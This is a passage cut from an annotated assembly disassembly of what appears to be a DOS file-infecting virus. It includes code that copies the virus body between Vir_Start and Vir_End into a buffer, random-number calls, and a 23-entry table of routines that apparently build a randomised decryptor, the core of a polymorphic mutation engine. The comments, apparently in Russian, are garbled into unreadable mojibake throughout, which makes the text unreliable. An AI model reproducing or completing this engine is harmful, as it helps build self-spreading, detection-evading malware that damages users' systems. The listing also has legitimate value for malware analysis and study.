; <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><>᮪ <20> 䠩<><E4A0A9>
|
|||
|
0364 E8 FFE1 call RND_0_AX
|
|||
|
0367 05 0020 add ax,20h
|
|||
|
036A 2E: A3 04EB mov cs:data_04EB,ax ; AX - 㪠<>뢠<EFBFBD><EBA2A0> <20><> <20><>砫<EFBFBD> <20><>᪠
|
|||
|
;------- <20>ਯ<EFBFBD><E0A8AF>뢠<EFBFBD><EBA2A0> <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD> <20><>᮪ <20> <20><><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9> ---------------------------------
|
|||
|
036E 8B F0 mov si,ax
|
|||
|
0370 F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
;-----------------------------------------------------------------------------------
|
|||
|
0372 1E push ds
|
|||
|
0373 0E push cs
|
|||
|
0374 1F pop ds ; DS = CS
|
|||
|
0375 A3 03D2 mov ds:data_03D2,ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "A" - <20><><EFBFBD>
|
|||
|
; <20><>砫<EFBFBD> <20><><EFBFBD><EFBFBD>襭<EFBFBD><E8A5AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0378 97 xchg di,ax ; DI - 㪠<>뢠<EFBFBD><EBA2A0> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20>ਯ<EFBFBD>ᠭ<EFBFBD><E1A0AD><EFBFBD><EFBFBD>
|
|||
|
; <20><>᪠ (䠩<> + <20><>᮪)
|
|||
|
0379 A3 03E7 mov ds:data_03E7,ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "B" - <20><><EFBFBD>
|
|||
|
; 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9>
|
|||
|
037C A3 059C mov ds:data_059C,ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9>
|
|||
|
037F 96 xchg si,ax
|
|||
|
0380 A3 03E2 mov ds:data_03E2,ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "B" - <20><><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>襭<EFBFBD><E8A5AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0383 A3 03C1 mov ds:data_03C1,ax ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;------- <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD><EFBFBD> <20><>᪠ <20><><EFBFBD><EFBFBD><EFBFBD>㥬 ⥫<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ----------------------------
|
|||
|
0386 BE 0100 mov si,offset Vir_Start
|
|||
|
0389 B9 09C0 mov cx,offset Vir_End - offset Vir_Start ; ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
038C F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
;-------- <20><><EFBFBD>樠<EFBFBD><E6A8A0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>稪<EFBFBD><E7A8AA> ------------------------------------
|
|||
|
038E 33 C0 xor ax,ax ; Zero register
|
|||
|
0390 A3 09E0 mov ds:BytesWrittenCounter,ax ; ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⮢ - <20><><EFBFBD><EFBFBD>
|
|||
|
0393 A3 06BE mov ds:StackCounter,ax ; <> <20> <20>⥪<EFBFBD> - <20><><EFBFBD><EFBFBD>
|
|||
|
0396 A3 06F3 mov ds:data_06F3,ax
|
|||
|
0399 A3 03CD mov ds:data_03CD,ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> "A" - 0000
|
|||
|
039C 89 3E 0A03 mov ds:data_0A03,di ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><>
|
|||
|
; MEM-<2D><><EFBFBD><EFBFBD>
|
|||
|
03A0 81 C7 0200 add di,0200h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MEM-<2D><><EFBFBD><EFBFBD><EFBFBD> = 512 <20><><EFBFBD><EFBFBD>
|
|||
|
03A4 89 3E 04E3 mov ds:data_04E3,di ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD>
|
|||
|
03A8 89 3E 09EA mov ds:data_09EA,di ; 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><>砫<EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
03AC 1F pop ds
|
|||
|
;------- <20><><EFBFBD>樠<EFBFBD><E6A8A0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⮢ <20><><EFBFBD><EFBFBD>ଠ樮<E0ACA0><E6A8AE><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ------------------------
|
|||
|
03AD AB stosw ; Store ax to es:[di]
|
|||
|
03AE AB stosw ; Store ax to es:[di]
|
|||
|
03AF 2E: 89 26 0599 mov cs:data_0599,sp ; <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD> <20>⥪
|
|||
|
;-----------------------------------------------------------------------------------
|
|||
|
03B4 93 xchg bx,ax ; BX = 0000
|
|||
|
; <20> ⥫<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䭮<EFBFBD><E4ADAE> <20><>堭<EFBFBD><E5A0AD><EFBFBD><EFBFBD> BX
|
|||
|
; 㪠<>뢠<EFBFBD><EBA2A0> <20><> ⥪<>騩 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
; <20>㥬<EFBFBD><E3A5AC><EFBFBD> <20><><EFBFBD><EFBFBD>⪠
|
|||
|
03B5 53 push bx
|
|||
|
03B6 53 push bx ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20>⥪<EFBFBD> - <20><><EFBFBD> <20><><EFBFBD> Mark-end
|
|||
|
;---------------------------------------------------------------------------------------------------------
|
|||
|
; * <20>ᯮ<EFBFBD>짮<EFBFBD><ECA7AE><EFBFBD><EFBFBD><EFBFBD> <20>⥪<EFBFBD> *
|
|||
|
;---------------------------------------------------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 楫<><E6A5AB> <20><><EFBFBD><EFBFBD><EFBFBD> <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⥪<EFBFBD><E2A5AA><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> ࠧ<><E0A0A7>饭<EFBFBD><E9A5AD> <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD> <20><>⮬<EFBFBD>, <20><><EFBFBD> <20><>࠭<EFBFBD><E0A0AD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>⭮ <>쪮 <20><><EFBFBD><EFBFBD>⪮<EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3> ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD>ᨢ<EFBFBD><E1A8A2> <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ଠ樨 <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨 <20>맮<EFBFBD><EBA7AE> <20><><EFBFBD>-
|
|||
|
; <20>ணࠬ<E0AEA3> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䭮<EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>". <20><><EFBFBD>ன <20><><EFBFBD>ᨢ <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ଠ樨 <20><><EFBFBD> <20><>ନ<E0ACA8><E0AEA2><EFBFBD><EFBFBD> <20><>-
|
|||
|
; <20><><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4>. <20><><EFBFBD> <20>⮬ <20><>ଠ<EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ଠ樨 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ᨢ<EFBFBD><E1A8A2>:
|
|||
|
;
|
|||
|
; ................................................................... <20><><EFBFBD><EFBFBD>ଠ<EFBFBD><E0ACA0><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD> <>
|
|||
|
; [ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ᨢ ]
|
|||
|
; * PUSH 0 (Mark-end)
|
|||
|
; 1 <20><> PUSH <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <> <20> <20>⥪<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><> PUSH <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ண<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室
|
|||
|
; ...
|
|||
|
; N <20><> PUSH <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <> <20> <20>⥪<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><> PUSH <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ண<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室
|
|||
|
; ................................................................... <20><><EFBFBD><EFBFBD>ଠ<EFBFBD><E0ACA0><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD> <>
|
|||
|
; [ <20><><EFBFBD>ன <20><><EFBFBD>ᨢ ]
|
|||
|
; * PUSH 0 (Mark-end)
|
|||
|
; 1 <20><> PUSH <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <> <20> <20>⥪<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ନ<E0ACA8><E0AEA2><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
; <20><> PUSH <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
; ...
|
|||
|
; N <20><> PUSH <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <> <20> <20>⥪<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ନ<E0ACA8><E0AEA2><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
; <20><> PUSH <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
; ...................................................................
|
|||
|
; [<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⥪]
|
|||
|
;---------------------------------------------------------------------------------------------------------
|
|||
|
|
|||
|
;---------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD> DS <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䭮<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ------------
|
|||
|
03B7 E8 FF8B call RND_01 ; = 0 - <20><><EFBFBD>
|
|||
|
03BA 2E: A2 0A25 mov cs:data_0A25,al ; = 1 - <20><>
|
|||
|
;-----------------------------------------------------------------------------------------------------------
|
|||
|
; * <20><EFBFBD>ઠ <20>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD> *
|
|||
|
;-----------------------------------------------------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
|
|||
|
; <20>data_03CD<43> <20>data_03D2<44> <20>data_03E2<45> <20>data_03E7<45>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; 0000 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ NNNN
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20>
|
|||
|
; <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><> <20> <20>
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>MEM<45><4D><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䮱<EFBFBD> <20><> <20>ਯ<EFBFBD>ᠭ<EFBFBD><E1A0AD><EFBFBD> <20>
|
|||
|
; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> A <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> B <20><> <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20> <20>
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>᮪ <20><> <20>
|
|||
|
; <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><> 䠩<><E4A0A9> <20> <20>
|
|||
|
; <20> <20><><EFBFBD><EFBFBD>09C0<43><30><EFBFBD><EFBFBD><EFBFBD>0200<30><30><EFBFBD>0440<34><30> <20><> <20>
|
|||
|
; <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><> <20> <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1000<30><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
; 4K <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20>ਬ<EFBFBD>砭<EFBFBD><E7A0AD> : data_03CD - 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
; data_03D2 - 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD>孥<EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
; data_03E2 - 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
; data_03E7 - 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD>孥<EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
|
|||
|
03BE loc_03BE:
|
|||
|
;------- <20><EFBFBD>ઠ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢠ ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⮢ (<28>।<EFBFBD><E0A5A4><EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>) -----------
|
|||
|
03BE 33 F6 xor si,si ; SI = 0000
|
|||
|
03C0 B8 2D36 mov ax,1111h
|
|||
|
data_03C1 = word ptr $ - 2 ; AX = <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
03C3 2B C7 sub ax,di ; DI - ⥪<>騩 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
03C5 3D 0010 cmp ax,10h ; <20><>⠫<EFBFBD><E2A0AB><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 16 <20><><EFBFBD>⮢ ?
|
|||
|
03C8 72 2F jb short loc_03F9 ; Jump if YES
|
|||
|
;------- <20><EFBFBD>ઠ <20><> <20><>室 <20><> <20>।<EFBFBD><E0A5A4> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> "A" ----------------------
|
|||
|
03CA 8B C3 mov ax,bx
|
|||
|
03CC 3D 122F cmp ax,1111h
|
|||
|
data_03CD = word ptr $ - 2
|
|||
|
03CF 72 28 jb short loc_03F9 ; Jump if below
|
|||
|
;------- <20><EFBFBD>ઠ <20><> <20><>室 <20><> <20>।<EFBFBD><E0A5A4><EFBFBD> <20><><EFBFBD>孥<EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> "A" --------------------
|
|||
|
03D1 B8 18C7 mov ax,1111h
|
|||
|
data_03D2 = word ptr $ - 2
|
|||
|
03D4 2B C3 sub ax,bx
|
|||
|
03D6 72 07 jc short loc_03DF ; Jump if carry Set
|
|||
|
03D8 3D 0009 cmp ax,9
|
|||
|
03DB 72 1C jb short loc_03F9 ; Jump if below
|
|||
|
03DD EB 07 jmp short loc_03E6
|
|||
|
;------- <20><EFBFBD>ઠ <20><> <20><>室 <20><> <20>।<EFBFBD><E0A5A4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> "B" ---------------------
|
|||
|
03DF loc_03DF:
|
|||
|
03DF 8B C3 mov ax,bx
|
|||
|
03E1 3D 39E2 cmp ax,1111h
|
|||
|
data_03E2 = word ptr $ - 2
|
|||
|
03E4 72 13 jb short loc_03F9 ; Jump if below
|
|||
|
;------- <20><EFBFBD>ઠ <20><> <20><>室 <20><> <20>।<EFBFBD><E0A5A4><EFBFBD> <20><><EFBFBD>孥<EFBFBD> <20>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> "B" --------------------
|
|||
|
03E6 loc_03E6:
|
|||
|
03E6 B8 3D5E mov ax,1111h
|
|||
|
data_03E7 = word ptr $ - 2
|
|||
|
03E9 2B C3 sub ax,bx
|
|||
|
03EB 3D 0009 cmp ax,9
|
|||
|
03EE 72 09 jb short loc_03F9 ; Jump if below
|
|||
|
;-------- <20><><EFBFBD> <20><><EFBFBD> <20> <20>࠭<EFBFBD><E0A0AD><EFBFBD><EFBFBD>, <20><> <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD> <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---------
|
|||
|
03F0 B8 0017 mov ax,23 ; 23 entries
|
|||
|
03F3 E8 FF52 call RND_0_AX
|
|||
|
03F6 D1 E0 shl ax,1 ; Shift w/zeros fill
|
|||
|
03F8 96 xchg si,ax
|
|||
|
03F9 loc_03F9:
|
|||
|
03F9 2E: FF 94 0400 call word ptr cs:data_0400[si] ; 23 entries
|
|||
|
03FE EB BE jmp short loc_03BE
|
|||
|
sub_0359 endp
|
|||
|
|
|||
|
0400 042E data_0400 dw offset sub_042E
|
|||
|
0402 0660 data_0402 dw offset sub_0660
|
|||
|
0404 066F data_0404 dw offset sub_066F
|
|||
|
0406 0685 data_0406 dw offset sub_0685
|
|||
|
0408 06A3 data_0408 dw offset sub_06A3
|
|||
|
040A 06E0 data_040A dw offset sub_06E0
|
|||
|
040C 06E0 data_040C dw offset sub_06E0
|
|||
|
040E 0717 data_040E dw offset sub_0717
|
|||
|
0410 0735 data_0410 dw offset sub_0735
|
|||
|
0412 0755 data_0412 dw offset sub_0755
|
|||
|
